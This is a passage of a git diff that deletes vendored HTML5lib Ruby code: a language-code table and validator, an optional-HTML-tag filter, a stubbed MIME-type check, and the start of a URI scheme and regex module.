-   'sl' => 'Slovenian',
-   'sm' => 'Samoan',
-   'sn' => 'Shona',
-   'so' => 'Somali',
-   'sq' => 'Albanian',
-   'sr' => 'Serbian',
-   'ss' => 'Swati',
-   'st' => 'Sotho, Southern',
-   'su' => 'Sundanese',
-   'sv' => 'Swedish',
-   'sw' => 'Swahili',
-   'ta' => 'Tamil',
-   'te' => 'Telugu',
-   'tg' => 'Tajik',
-   'th' => 'Thai',
-   'ti' => 'Tigrinya',
-   'tk' => 'Turkmen',
-   'tl' => 'Tagalog',
-   'tn' => 'Tswana',
-   'to' => 'Tonga',
-   'tr' => 'Turkish',
-   'ts' => 'Tsonga',
-   'tt' => 'Tatar',
-   'tw' => 'Twi',
-   'ty' => 'Tahitian',
-   'ug' => 'Uigur',
-   'uk' => 'Ukrainian',
-   'ur' => 'Urdu',
-   'uz' => 'Uzbek',
-   've' => 'Venda',
-   'vi' => 'Vietnamese',
-   'vo' => 'Volapuk',
-   'wa' => 'Walloon',
-   'wo' => 'Wolof',
-   'xh' => 'Xhosa',
-   'yi' => 'Yiddish',
-   'yo' => 'Yoruba',
-   'za' => 'Zhuang',
-   'zh' => 'Chinese',
-   'zu' => 'Zulu',
-   'x'  => 'a user-defined language',
-   'xx' => 'a user-defined language',
-   
-   'abk' => 'Abkhazian',
-   'ace' => 'Achinese',
-   'ach' => 'Acoli',
-   'ada' => 'Adangme',
-   'ady' => 'Adygei',
-   'ady' => 'Adyghe',
-   'aar' => 'Afar',
-   'afh' => 'Afrihili',
-   'afr' => 'Afrikaans',
-   'afa' => 'Afro-Asiatic (Other)',
-   'ain' => 'Ainu',
-   'aka' => 'Akan',
-   'akk' => 'Akkadian',
-   'alb' => 'Albanian',
-   'sqi' => 'Albanian',
-   'gws' => 'Alemanic',
-   'ale' => 'Aleut',
-   'alg' => 'Algonquian languages',
-   'tut' => 'Altaic (Other)',
-   'amh' => 'Amharic',
-   'anp' => 'Angika',
-   'apa' => 'Apache languages',
-   'ara' => 'Arabic',
-   'arg' => 'Aragonese',
-   'arc' => 'Aramaic',
-   'arp' => 'Arapaho',
-   'arn' => 'Araucanian',
-   'arw' => 'Arawak',
-   'arm' => 'Armenian',
-   'hye' => 'Armenian',
-   'rup' => 'Aromanian',
-   'art' => 'Artificial (Other)',
-   'asm' => 'Assamese',
-   'ast' => 'Asturian',
-   'ath' => 'Athapascan languages',
-   'aus' => 'Australian languages',
-   'map' => 'Austronesian (Other)',
-   'ava' => 'Avaric',
-   'ave' => 'Avestan',
-   'awa' => 'Awadhi',
-   'aym' => 'Aymara',
-   'aze' => 'Azerbaijani',
-   'ast' => 'Bable',
-   'ban' => 'Balinese',
-   'bat' => 'Baltic (Other)',
-   'bal' => 'Baluchi',
-   'bam' => 'Bambara',
-   'bai' => 'Bamileke languages',
-   'bad' => 'Banda',
-   'bnt' => 'Bantu (Other)',
-   'bas' => 'Basa',
-   'bak' => 'Bashkir',
-   'baq' => 'Basque',
-   'eus' => 'Basque',
-   'btk' => 'Batak (Indonesia)',
-   'bej' => 'Beja',
-   'bel' => 'Belarusian',
-   'bem' => 'Bemba',
-   'ben' => 'Bengali',
-   'ber' => 'Berber (Other)',
-   'bho' => 'Bhojpuri',
-   'bih' => 'Bihari',
-   'bik' => 'Bikol',
-   'byn' => 'Bilin',
-   'bin' => 'Bini',
-   'bis' => 'Bislama',
-   'byn' => 'Blin',
-   'nob' => 'Bokmal, Norwegian',
-   'bos' => 'Bosnian',
-   'bra' => 'Braj',
-   'bre' => 'Breton',
-   'bug' => 'Buginese',
-   'bul' => 'Bulgarian',
-   'bua' => 'Buriat',
-   'bur' => 'Burmese',
-   'mya' => 'Burmese',
-   'cad' => 'Caddo',
-   'car' => 'Carib',
-   'spa' => 'Castilian',
-   'cat' => 'Catalan',
-   'cau' => 'Caucasian (Other)',
-   'ceb' => 'Cebuano',
-   'cel' => 'Celtic (Other)',
-   'cai' => 'Central American Indian (Other)',
-   'chg' => 'Chagatai',
-   'cmc' => 'Chamic languages',
-   'cha' => 'Chamorro',
-   'che' => 'Chechen',
-   'chr' => 'Cherokee',
-   'nya' => 'Chewa',
-   'chy' => 'Cheyenne',
-   'chb' => 'Chibcha',
-   'nya' => 'Chichewa',
-   'chi' => 'Chinese',
-   'zho' => 'Chinese',
-   'chn' => 'Chinook jargon',
-   'chp' => 'Chipewyan',
-   'cho' => 'Choctaw',
-   'zha' => 'Chuang',
-   'chu' => 'Church Slavic; Church Slavonic; Old Church Slavonic; Old Church Slavic; Old Bulgarian',
-   'chk' => 'Chuukese',
-   'chv' => 'Chuvash',
-   'nwc' => 'Classical Nepal Bhasa; Classical Newari; Old Newari',
-   'cop' => 'Coptic',
-   'cor' => 'Cornish',
-   'cos' => 'Corsican',
-   'cre' => 'Cree',
-   'mus' => 'Creek',
-   'crp' => 'Creoles and pidgins(Other)',
-   'cpe' => 'Creoles and pidgins, English-based (Other)',
-   'cpf' => 'Creoles and pidgins, French-based (Other)',
-   'cpp' => 'Creoles and pidgins, Portuguese-based (Other)',
-   'crh' => 'Crimean Tatar; Crimean Turkish',
-   'scr' => 'Croatian',
-   'hrv' => 'Croatian',
-   'cus' => 'Cushitic (Other)',
-   'cze' => 'Czech',
-   'ces' => 'Czech',
-   'dak' => 'Dakota',
-   'dan' => 'Danish',
-   'dar' => 'Dargwa',
-   'day' => 'Dayak',
-   'del' => 'Delaware',
-   'din' => 'Dinka',
-   'div' => 'Divehi',
-   'doi' => 'Dogri',
-   'dgr' => 'Dogrib',
-   'dra' => 'Dravidian (Other)',
-   'dua' => 'Duala',
-   'dut' => 'Dutch',
-   'nld' => 'Dutch',
-   'dum' => 'Dutch, Middle (ca. 1050-1350)',
-   'dyu' => 'Dyula',
-   'dzo' => 'Dzongkha',
-   'efi' => 'Efik',
-   'egy' => 'Egyptian (Ancient)',
-   'eka' => 'Ekajuk',
-   'elx' => 'Elamite',
-   'eng' => 'English',
-   'enm' => 'English, Middle (1100-1500)',
-   'ang' => 'English, Old (ca.450-1100)',
-   'myv' => 'Erzya',
-   'epo' => 'Esperanto',
-   'est' => 'Estonian',
-   'ewe' => 'Ewe',
-   'ewo' => 'Ewondo',
-   'fan' => 'Fang',
-   'fat' => 'Fanti',
-   'fao' => 'Faroese',
-   'fij' => 'Fijian',
-   'fil' => 'Filipino; Pilipino',
-   'fin' => 'Finnish',
-   'fiu' => 'Finno-Ugrian (Other)',
-   'fon' => 'Fon',
-   'fre' => 'French',
-   'fra' => 'French',
-   'frm' => 'French, Middle (ca.1400-1600)',
-   'fro' => 'French, Old (842-ca.1400)',
-   'frs' => 'Frisian, Eastern',
-   'fry' => 'Frisian, Western',
-   'fur' => 'Friulian',
-   'ful' => 'Fulah',
-   'gaa' => 'Ga',
-   'gla' => 'Gaelic',
-   'glg' => 'Gallegan',
-   'lug' => 'Ganda',
-   'gay' => 'Gayo',
-   'gba' => 'Gbaya',
-   'gez' => 'Geez',
-   'geo' => 'Georgian',
-   'kat' => 'Georgian',
-   'ger' => 'German',
-   'deu' => 'German',
-   'nds' => 'German, Low',
-   'gmh' => 'German, Middle High (ca.1050-1500)',
-   'goh' => 'German, Old High (ca.750-1050)',
-   'gem' => 'Germanic (Other)',
-   'kik' => 'Gikuyu',
-   'gil' => 'Gilbertese',
-   'gon' => 'Gondi',
-   'gor' => 'Gorontalo',
-   'got' => 'Gothic',
-   'grb' => 'Grebo',
-   'grc' => 'Greek, Ancient (to 1453)',
-   'gre' => 'Greek, Modern (1453-)',
-   'ell' => 'Greek, Modern (1453-)',
-   'kal' => 'Greenlandic; Kalaallisut',
-   'grn' => 'Guarani',
-   'guj' => 'Gujarati',
-   'gwi' => 'Gwich\'in',
-   'hai' => 'Haida',
-   'hat' => 'Haitian',
-   'hau' => 'Hausa',
-   'haw' => 'Hawaiian',
-   'heb' => 'Hebrew',
-   'her' => 'Herero',
-   'hil' => 'Hiligaynon',
-   'him' => 'Himachali',
-   'hin' => 'Hindi',
-   'hmo' => 'Hiri Motu',
-   'hit' => 'Hittite',
-   'hmn' => 'Hmong',
-   'hun' => 'Hungarian',
-   'hup' => 'Hupa',
-   'iba' => 'Iban',
-   'ice' => 'Icelandic',
-   'isl' => 'Icelandic',
-   'ido' => 'Ido',
-   'ibo' => 'Igbo',
-   'ijo' => 'Ijo',
-   'ilo' => 'Iloko',
-   'smn' => 'Inari Sami',
-   'inc' => 'Indic (Other)',
-   'ine' => 'Indo-European (Other)',
-   'ind' => 'Indonesian',
-   'inh' => 'Ingush',
-   'ina' => 'Interlingua (International Auxiliary Language Association)',
-   'ile' => 'Interlingue',
-   'iku' => 'Inuktitut',
-   'ipk' => 'Inupiaq',
-   'ira' => 'Iranian (Other)',
-   'gle' => 'Irish',
-   'mga' => 'Irish, Middle (900-1200)',
-   'sga' => 'Irish, Old (to 900)',
-   'iro' => 'Iroquoian languages',
-   'ita' => 'Italian',
-   'jpn' => 'Japanese',
-   'jav' => 'Javanese',
-   'jrb' => 'Judeo-Arabic',
-   'jpr' => 'Judeo-Persian',
-   'kbd' => 'Kabardian',
-   'kab' => 'Kabyle',
-   'kac' => 'Kachin',
-   'kal' => 'Kalaallisut',
-   'xal' => 'Kalmyk',
-   'kam' => 'Kamba',
-   'kan' => 'Kannada',
-   'kau' => 'Kanuri',
-   'krc' => 'Karachay-Balkar',
-   'kaa' => 'Kara-Kalpak',
-   'krl' => 'Karelian',
-   'kar' => 'Karen',
-   'kas' => 'Kashmiri',
-   'csb' => 'Kashubian',
-   'kaw' => 'Kawi',
-   'kaz' => 'Kazakh',
-   'kha' => 'Khasi',
-   'khm' => 'Khmer',
-   'khi' => 'Khoisan (Other)',
-   'kho' => 'Khotanese',
-   'kik' => 'Kikuyu',
-   'kmb' => 'Kimbundu',
-   'kin' => 'Kinyarwanda',
-   'kir' => 'Kirghiz',
-   'tlh' => 'Klingon; tlhIngan-Hol',
-   'kom' => 'Komi',
-   'kon' => 'Kongo',
-   'kok' => 'Konkani',
-   'kor' => 'Korean',
-   'kos' => 'Kosraean',
-   'kpe' => 'Kpelle',
-   'kro' => 'Kru',
-   'kua' => 'Kuanyama',
-   'kum' => 'Kumyk',
-   'kur' => 'Kurdish',
-   'kru' => 'Kurukh',
-   'kut' => 'Kutenai',
-   'kua' => 'Kwanyama',
-   'lad' => 'Ladino',
-   'lah' => 'Lahnda',
-   'lam' => 'Lamba',
-   'lao' => 'Lao',
-   'lat' => 'Latin',
-   'lav' => 'Latvian',
-   'ltz' => 'Letzeburgesch',
-   'lez' => 'Lezghian',
-   'lim' => 'Limburgan',
-   'lin' => 'Lingala',
-   'lit' => 'Lithuanian',
-   'jbo' => 'Lojban',
-   'nds' => 'Low German',
-   'dsb' => 'Lower Sorbian',
-   'loz' => 'Lozi',
-   'lub' => 'Luba-Katanga',
-   'lua' => 'Luba-Lulua',
-   'lui' => 'Luiseno',
-   'smj' => 'Lule Sami',
-   'lun' => 'Lunda',
-   'luo' => 'Luo (Kenya and Tanzania)',
-   'lus' => 'Lushai',
-   'ltz' => 'Luxembourgish',
-   'mac' => 'Macedonian',
-   'mkd' => 'Macedonian',
-   'mad' => 'Madurese',
-   'mag' => 'Magahi',
-   'mai' => 'Maithili',
-   'mak' => 'Makasar',
-   'mlg' => 'Malagasy',
-   'may' => 'Malay',
-   'msa' => 'Malay',
-   'mal' => 'Malayalam',
-   'mlt' => 'Maltese',
-   'mnc' => 'Manchu',
-   'mdr' => 'Mandar',
-   'man' => 'Mandingo',
-   'mni' => 'Manipuri',
-   'mno' => 'Manobo languages',
-   'glv' => 'Manx',
-   'mao' => 'Maori',
-   'mri' => 'Maori',
-   'mar' => 'Marathi',
-   'chm' => 'Mari',
-   'mah' => 'Marshallese',
-   'mwr' => 'Marwari',
-   'mas' => 'Masai',
-   'myn' => 'Mayan languages',
-   'men' => 'Mende',
-   'mic' => 'Micmac',
-   'min' => 'Minangkabau',
-   'mwl' => 'Mirandese',
-   'mis' => 'Miscellaneous languages',
-   'moh' => 'Mohawk',
-   'mdf' => 'Moksha',
-   'mol' => 'Moldavian',
-   'mkh' => 'Mon-Khmer (Other)',
-   'lol' => 'Mongo',
-   'mon' => 'Mongolian',
-   'mos' => 'Mossi',
-   'mul' => 'Multiple languages',
-   'mun' => 'Munda languages',
-   'nah' => 'Nahuatl',
-   'nau' => 'Nauru',
-   'nav' => 'Navaho; Navajo',
-   'nde' => 'Ndebele, North',
-   'nbl' => 'Ndebele, South',
-   'ndo' => 'Ndonga',
-   'nap' => 'Neapolitan',
-   'nep' => 'Nepali',
-   'new' => 'Newari',
-   'nia' => 'Nias',
-   'nic' => 'Niger-Kordofanian (Other)',
-   'ssa' => 'Nilo-Saharan (Other)',
-   'niu' => 'Niuean',
-   'nog' => 'Nogai',
-   'non' => 'Norse, Old',
-   'nai' => 'North American Indian (Other)',
-   'frr' => 'Northern Frisian',
-   'sme' => 'Northern Sami',
-   'nso' => 'Northern Sotho; Pedi; Sepedi',
-   'nde' => 'North Ndebele',
-   'nor' => 'Norwegian',
-   'nob' => 'Norwegian Bokmal',
-   'nno' => 'Norwegian Nynorsk',
-   'nub' => 'Nubian languages',
-   'nym' => 'Nyamwezi',
-   'nya' => 'Nyanja',
-   'nyn' => 'Nyankole',
-   'nno' => 'Nynorsk, Norwegian',
-   'nyo' => 'Nyoro',
-   'nzi' => 'Nzima',
-   'oci' => 'Occitan (post 1500)',
-   'oji' => 'Ojibwa',
-   'ori' => 'Oriya',
-   'orm' => 'Oromo',
-   'osa' => 'Osage',
-   'oss' => 'Ossetian; Ossetic',
-   'oto' => 'Otomian languages',
-   'pal' => 'Pahlavi',
-   'pau' => 'Palauan',
-   'pli' => 'Pali',
-   'pam' => 'Pampanga',
-   'pag' => 'Pangasinan',
-   'pan' => 'Panjabi',
-   'pap' => 'Papiamento',
-   'paa' => 'Papuan (Other)',
-   'per' => 'Persian',
-   'fas' => 'Persian',
-   'peo' => 'Persian, Old (ca.600-400)',
-   'phi' => 'Philippine (Other)',
-   'phn' => 'Phoenician',
-   'pon' => 'Pohnpeian',
-   'pol' => 'Polish',
-   'por' => 'Portuguese',
-   'pra' => 'Prakrit languages',
-   'oci' => 'Provencal',
-   'pro' => 'Provencal, Old (to 1500)',
-   'pan' => 'Punjabi',
-   'pus' => 'Pushto',
-   'que' => 'Quechua',
-   'roh' => 'Raeto-Romance',
-   'raj' => 'Rajasthani',
-   'rap' => 'Rapanui',
-   'rar' => 'Rarotongan',
-   'qaa' => 'Reserved for local use',
-   'qtz' => 'Reserved for local use',
-   'roa' => 'Romance (Other)',
-   'rum' => 'Romanian',
-   'ron' => 'Romanian',
-   'rom' => 'Romany',
-   'run' => 'Rundi',
-   'rus' => 'Russian',
-   'sal' => 'Salishan languages',
-   'sam' => 'Samaritan Aramaic',
-   'smi' => 'Sami languages (Other)',
-   'smo' => 'Samoan',
-   'sad' => 'Sandawe',
-   'sag' => 'Sango',
-   'san' => 'Sanskrit',
-   'sat' => 'Santali',
-   'srd' => 'Sardinian',
-   'sas' => 'Sasak',
-   'nds' => 'Saxon, Low',
-   'sco' => 'Scots',
-   'gla' => 'Scottish Gaelic',
-   'sel' => 'Selkup',
-   'sem' => 'Semitic (Other)',
-   'nso' => 'Sepedi; Northern Sotho; Pedi',
-   'scc' => 'Serbian',
-   'srp' => 'Serbian',
-   'srr' => 'Serer',
-   'shn' => 'Shan',
-   'sna' => 'Shona',
-   'iii' => 'Sichuan Yi',
-   'scn' => 'Sicilian',
-   'sid' => 'Sidamo',
-   'sgn' => 'Sign languages',
-   'bla' => 'Siksika',
-   'snd' => 'Sindhi',
-   'sin' => 'Sinhalese',
-   'sit' => 'Sino-Tibetan (Other)',
-   'sio' => 'Siouan languages',
-   'sms' => 'Skolt Sami',
-   'den' => 'Slave (Athapascan)',
-   'sla' => 'Slavic (Other)',
-   'slo' => 'Slovak',
-   'slk' => 'Slovak',
-   'slv' => 'Slovenian',
-   'sog' => 'Sogdian',
-   'som' => 'Somali',
-   'son' => 'Songhai',
-   'snk' => 'Soninke',
-   'wen' => 'Sorbian languages',
-   'nso' => 'Sotho, Northern',
-   'sot' => 'Sotho, Southern',
-   'sai' => 'South American Indian (Other)',
-   'alt' => 'Southern Altai',
-   'sma' => 'Southern Sami',
-   'nbl' => 'South Ndebele',
-   'spa' => 'Spanish',
-   'srn' => 'Sranan Tongo',
-   'suk' => 'Sukuma',
-   'sux' => 'Sumerian',
-   'sun' => 'Sundanese',
-   'sus' => 'Susu',
-   'swa' => 'Swahili',
-   'ssw' => 'Swati',
-   'swe' => 'Swedish',
-   'gsw' => 'Swiss German; Alemanic',
-   'syr' => 'Syriac',
-   'tgl' => 'Tagalog',
-   'tah' => 'Tahitian',
-   'tai' => 'Tai (Other)',
-   'tgk' => 'Tajik',
-   'tmh' => 'Tamashek',
-   'tam' => 'Tamil',
-   'tat' => 'Tatar',
-   'tel' => 'Telugu',
-   'ter' => 'Tereno',
-   'tet' => 'Tetum',
-   'tha' => 'Thai',
-   'tib' => 'Tibetan',
-   'bod' => 'Tibetan',
-   'tig' => 'Tigre',
-   'tir' => 'Tigrinya',
-   'tem' => 'Timne',
-   'tiv' => 'Tiv',
-   'tlh' => 'tlhIngan-Hol; Klingon',
-   'tli' => 'Tlingit',
-   'tpi' => 'Tok Pisin',
-   'tkl' => 'Tokelau',
-   'tog' => 'Tonga (Nyasa)',
-   'ton' => 'Tonga (Tonga Islands)',
-   'tsi' => 'Tsimshian',
-   'tso' => 'Tsonga',
-   'tsn' => 'Tswana',
-   'tum' => 'Tumbuka',
-   'tup' => 'Tupi languages',
-   'tur' => 'Turkish',
-   'ota' => 'Turkish, Ottoman (1500-1928)',
-   'tuk' => 'Turkmen',
-   'tvl' => 'Tuvalu',
-   'tyv' => 'Tuvinian',
-   'twi' => 'Twi',
-   'udm' => 'Udmurt',
-   'uga' => 'Ugaritic',
-   'uig' => 'Uighur',
-   'ukr' => 'Ukrainian',
-   'umb' => 'Umbundu',
-   'und' => 'Undetermined',
-   'hsb' => 'Upper Sorbian',
-   'urd' => 'Urdu',
-   'uzb' => 'Uzbek',
-   'vai' => 'Vai',
-   'cat' => 'Valencian',
-   'ven' => 'Venda',
-   'vie' => 'Vietnamese',
-   'vol' => 'Volapuk',
-   'vot' => 'Votic',
-   'wak' => 'Wakashan languages',
-   'wal' => 'Walamo',
-   'wln' => 'Walloon',
-   'war' => 'Waray',
-   'was' => 'Washo',
-   'wel' => 'Welsh',
-   'cym' => 'Welsh',
-   'fry' => 'Wester Frisian',
-   'wol' => 'Wolof',
-   'xho' => 'Xhosa',
-   'sah' => 'Yakut',
-   'yao' => 'Yao',
-   'yap' => 'Yapese',
-   'yid' => 'Yiddish',
-   'yor' => 'Yoruba',
-   'ypk' => 'Yupik languages',
-   'znd' => 'Zande',
-   'zap' => 'Zapotec',
-   'zen' => 'Zenaga',
-   'zha' => 'Zhuang',
-   'zul' => 'Zulu',
-   'zun' => 'Zuni'
-}
-
-def is_valid_lang_code(value)
-  if value.include? '-'
-    lang, sublang = value.split('-', 2)
-  else
-    lang = value
-  end
-  !!ISO_LANG[lang.downcase]
-end
\ No newline at end of file
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/filters/optionaltags.rb b/attic/vendor/plugins/HTML5lib/lib/html5/filters/optionaltags.rb
deleted file mode 100644
index ba9a11b0..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/filters/optionaltags.rb
+++ /dev/null
@@ -1,198 +0,0 @@
-require 'html5/constants'
-require 'html5/filters/base'
-
-module HTML5
-  module Filters
-
-    class OptionalTagFilter < Base
-      def slider
-        previous1 = previous2 = nil
-        __getobj__.each do |token|
-          yield previous2, previous1, token if previous1 != nil
-          previous2 = previous1
-          previous1 = token
-        end
-        yield previous2, previous1, nil
-      end
-
-      def each
-        slider do |previous, token, nexttok|
-          type = token[:type]
-          if type == :StartTag
-            yield token unless token[:data].empty? and is_optional_start(token[:name], previous, nexttok)
-          elsif type == :EndTag
-            yield token unless is_optional_end(token[:name], nexttok)
-          else
-            yield token
-          end
-        end
-      end
-
-      def is_optional_start(tagname, previous, nexttok)
-        type = nexttok ? nexttok[:type] : nil
-        if tagname == 'html'
-          # An html element's start tag may be omitted if the first thing
-          # inside the html element is not a space character or a comment.
-          return ![:Comment, :SpaceCharacters].include?(type)
-        elsif tagname == 'head'
-          # A head element's start tag may be omitted if the first thing
-          # inside the head element is an element.
-          return type == :StartTag
-        elsif tagname == 'body'
-          # A body element's start tag may be omitted if the first thing
-          # inside the body element is not a space character or a comment,
-          # except if the first thing inside the body element is a script
-          # or style element and the node immediately preceding the body
-          # element is a head element whose end tag has been omitted.
-          if [:Comment, :SpaceCharacters].include?(type)
-            return false
-          elsif type == :StartTag
-            # XXX: we do not look at the preceding event, so we never omit
-            # the body element's start tag if it's followed by a script or
-            # a style element.
-            return !%w[script style].include?(nexttok[:name])
-          else
-            return true
-          end
-        elsif tagname == 'colgroup'
-          # A colgroup element's start tag may be omitted if the first thing
-          # inside the colgroup element is a col element, and if the element
-          # is not immediately preceeded by another colgroup element whose
-          # end tag has been omitted.
-          if type == :StartTag
-            # XXX: we do not look at the preceding event, so instead we never
-            # omit the colgroup element's end tag when it is immediately
-            # followed by another colgroup element. See is_optional_end.
-            return nexttok[:name] == "col"
-          else
-            return false
-          end
-        elsif tagname == 'tbody'
-          # A tbody element's start tag may be omitted if the first thing
-          # inside the tbody element is a tr element, and if the element is
-          # not immediately preceeded by a tbody, thead, or tfoot element
-          # whose end tag has been omitted.
-          if type == :StartTag
-            # omit the thead and tfoot elements' end tag when they are
-            # immediately followed by a tbody element. See is_optional_end.
-            if previous and previous[:type] == :EndTag && %w(tbody thead tfoot).include?(previous[:name])
-              return false
-            end
-
-            return nexttok[:name] == 'tr'
-          else
-            return false
-          end
-        end
-        return false
-      end
-
-      def is_optional_end(tagname, nexttok)
-        type = nexttok ? nexttok[:type] : nil
-        if %w[html head body].include?(tagname)
-          # An html element's end tag may be omitted if the html element
-          # is not immediately followed by a space character or a comment.
-          return ![:Comment, :SpaceCharacters].include?(type)
-        elsif %w[li optgroup option tr].include?(tagname)
-          # A li element's end tag may be omitted if the li element is
-          # immediately followed by another li element or if there is
-          # no more content in the parent element.
-          # An optgroup element's end tag may be omitted if the optgroup
-          # element is immediately followed by another optgroup element,
-          # or if there is no more content in the parent element.
-          # An option element's end tag may be omitted if the option
-          # element is immediately followed by another option element,
-          # or if there is no more content in the parent element.
-          # A tr element's end tag may be omitted if the tr element is
-          # immediately followed by another tr element, or if there is
-          # no more content in the parent element.
-          if type == :StartTag
-            return nexttok[:name] == tagname
-          else
-            return type == :EndTag || type == nil
-          end
-        elsif %w(dt dd).include?(tagname)
-          # A dt element's end tag may be omitted if the dt element is
-          # immediately followed by another dt element or a dd element.
-          # A dd element's end tag may be omitted if the dd element is
-          # immediately followed by another dd element or a dt element,
-          # or if there is no more content in the parent element.
-          if type == :StartTag
-            return %w(dt dd).include?(nexttok[:name])
-          elsif tagname == 'dd'
-            return type == :EndTag || type == nil
-          else
-            return false
-          end
-        elsif tagname == 'p'
-          # A p element's end tag may be omitted if the p element is
-          # immediately followed by an address, blockquote, dl, fieldset,
-          # form, h1, h2, h3, h4, h5, h6, hr, menu, ol, p, pre, table,
-          # or ul  element, or if there is no more content in the parent
-          # element.
-          if type == :StartTag
-            return %w(address blockquote dl fieldset form h1 h2 h3 h4 h5
-                      h6 hr menu ol p pre table ul).include?(nexttok[:name])
-          else
-            return type == :EndTag || type == nil
-          end
-        elsif tagname == 'colgroup'
-          # A colgroup element's end tag may be omitted if the colgroup
-          # element is not immediately followed by a space character or
-          # a comment.
-          if [:Comment, :SpaceCharacters].include?(type)
-            return false
-          elsif type == :StartTag
-            # XXX: we also look for an immediately following colgroup
-            # element. See is_optional_start.
-            return nexttok[:name] != 'colgroup'
-          else
-            return true
-          end
-        elsif %w(thead tbody).include? tagname
-          # A thead element's end tag may be omitted if the thead element
-          # is immediately followed by a tbody or tfoot element.
-          # A tbody element's end tag may be omitted if the tbody element
-          # is immediately followed by a tbody or tfoot element, or if
-          # there is no more content in the parent element.
-          # A tfoot element's end tag may be omitted if the tfoot element
-          # is immediately followed by a tbody element, or if there is no
-          # more content in the parent element.
-          # XXX: we never omit the end tag when the following element is
-          # a tbody. See is_optional_start.
-          if type == :StartTag
-            return %w(tbody tfoot).include?(nexttok[:name])
-          elsif tagname == 'tbody'
-            return (type == :EndTag or type == nil)
-          else
-            return false
-          end
-        elsif tagname == 'tfoot'
-          # A tfoot element's end tag may be omitted if the tfoot element
-          # is immediately followed by a tbody element, or if there is no
-          # more content in the parent element.
-          # XXX: we never omit the end tag when the following element is
-          # a tbody. See is_optional_start.
-          if type == :StartTag
-            return nexttok[:name] == 'tbody'
-          else
-            return type == :EndTag || type == nil
-          end
-        elsif %w(td th).include? tagname
-          # A td element's end tag may be omitted if the td element is
-          # immediately followed by a td or th element, or if there is
-          # no more content in the parent element.
-          # A th element's end tag may be omitted if the th element is
-          # immediately followed by a td or th element, or if there is
-          # no more content in the parent element.
-          if type == :StartTag
-            return %w(td th).include?(nexttok[:name])
-          else
-            return type == :EndTag || type == nil
-          end
-        end
-        return false
-      end
-    end
-  end
-end
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/filters/rfc2046.rb b/attic/vendor/plugins/HTML5lib/lib/html5/filters/rfc2046.rb
deleted file mode 100755
index 593baf42..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/filters/rfc2046.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# adapted from feedvalidator, original copyright license is
-#
-# Copyright (c) 2002-2006, Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-# SOFTWARE.
-
-
-# mime_re = Regexp.new('[^\s()<>,;:\\"/[\]?=]+/[^\s()<>,;:\\"/[\]?=]+(\s*;\s*[^\s()<>,;:\\"/[\]?=]+=("(\\"|[^"])*"|[^\s()<>,;:\\"/[\]?=]+))*$')
-
-def is_valid_mime_type(value)
-  # !!mime_re.match(value)
-  true
-end
-
diff --git a/attic/vendor/plugins/HTML5lib/lib/html5/filters/rfc3987.rb b/attic/vendor/plugins/HTML5lib/lib/html5/filters/rfc3987.rb
deleted file mode 100755
index bf730e06..00000000
--- a/attic/vendor/plugins/HTML5lib/lib/html5/filters/rfc3987.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-# adapted from feedvalidator, original copyright license is
-#
-# Copyright (c) 2002-2006, Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-# SOFTWARE.
-
-iana_schemes = [ # http://www.iana.org/assignments/uri-schemes.html
-  "ftp", "http", "gopher", "mailto", "news", "nntp", "telnet", "wais",
-  "file", "prospero", "z39.50s", "z39.50r", "cid", "mid", "vemmi",
-  "service", "imap", "nfs", "acap", "rtsp", "tip", "pop", "data", "dav",
-  "opaquelocktoken", "sip", "sips", "tel", "fax", "modem", "ldap",
-  "https", "soap.beep", "soap.beeps", "xmlrpc.beep", "xmlrpc.beeps",
-  "urn", "go", "h323", "ipp", "tftp", "mupdate", "pres", "im", "mtqp",
-  "iris.beep", "dict", "snmp", "crid", "tag", "dns", "info"
-]
-ALLOWED_SCHEMES = iana_schemes + ['javascript']
-
-RFC2396      = Regexp.new("^([a-zA-Z][0-9a-zA-Z+\\-\\.]*:)?/{0,2}[0-9a-zA-Z;/?:@&=+$\\.\\-_!~*'()%,#]*$", Regexp::MULTILINE)
-rfc2396_full = Regexp.new("[a-zA-Z][0-9a-zA-Z+\\-\\.]*:(//)?[0-9a-zA-Z;/?:@&=+$\\.\\-_!~*'()%,#]+$")
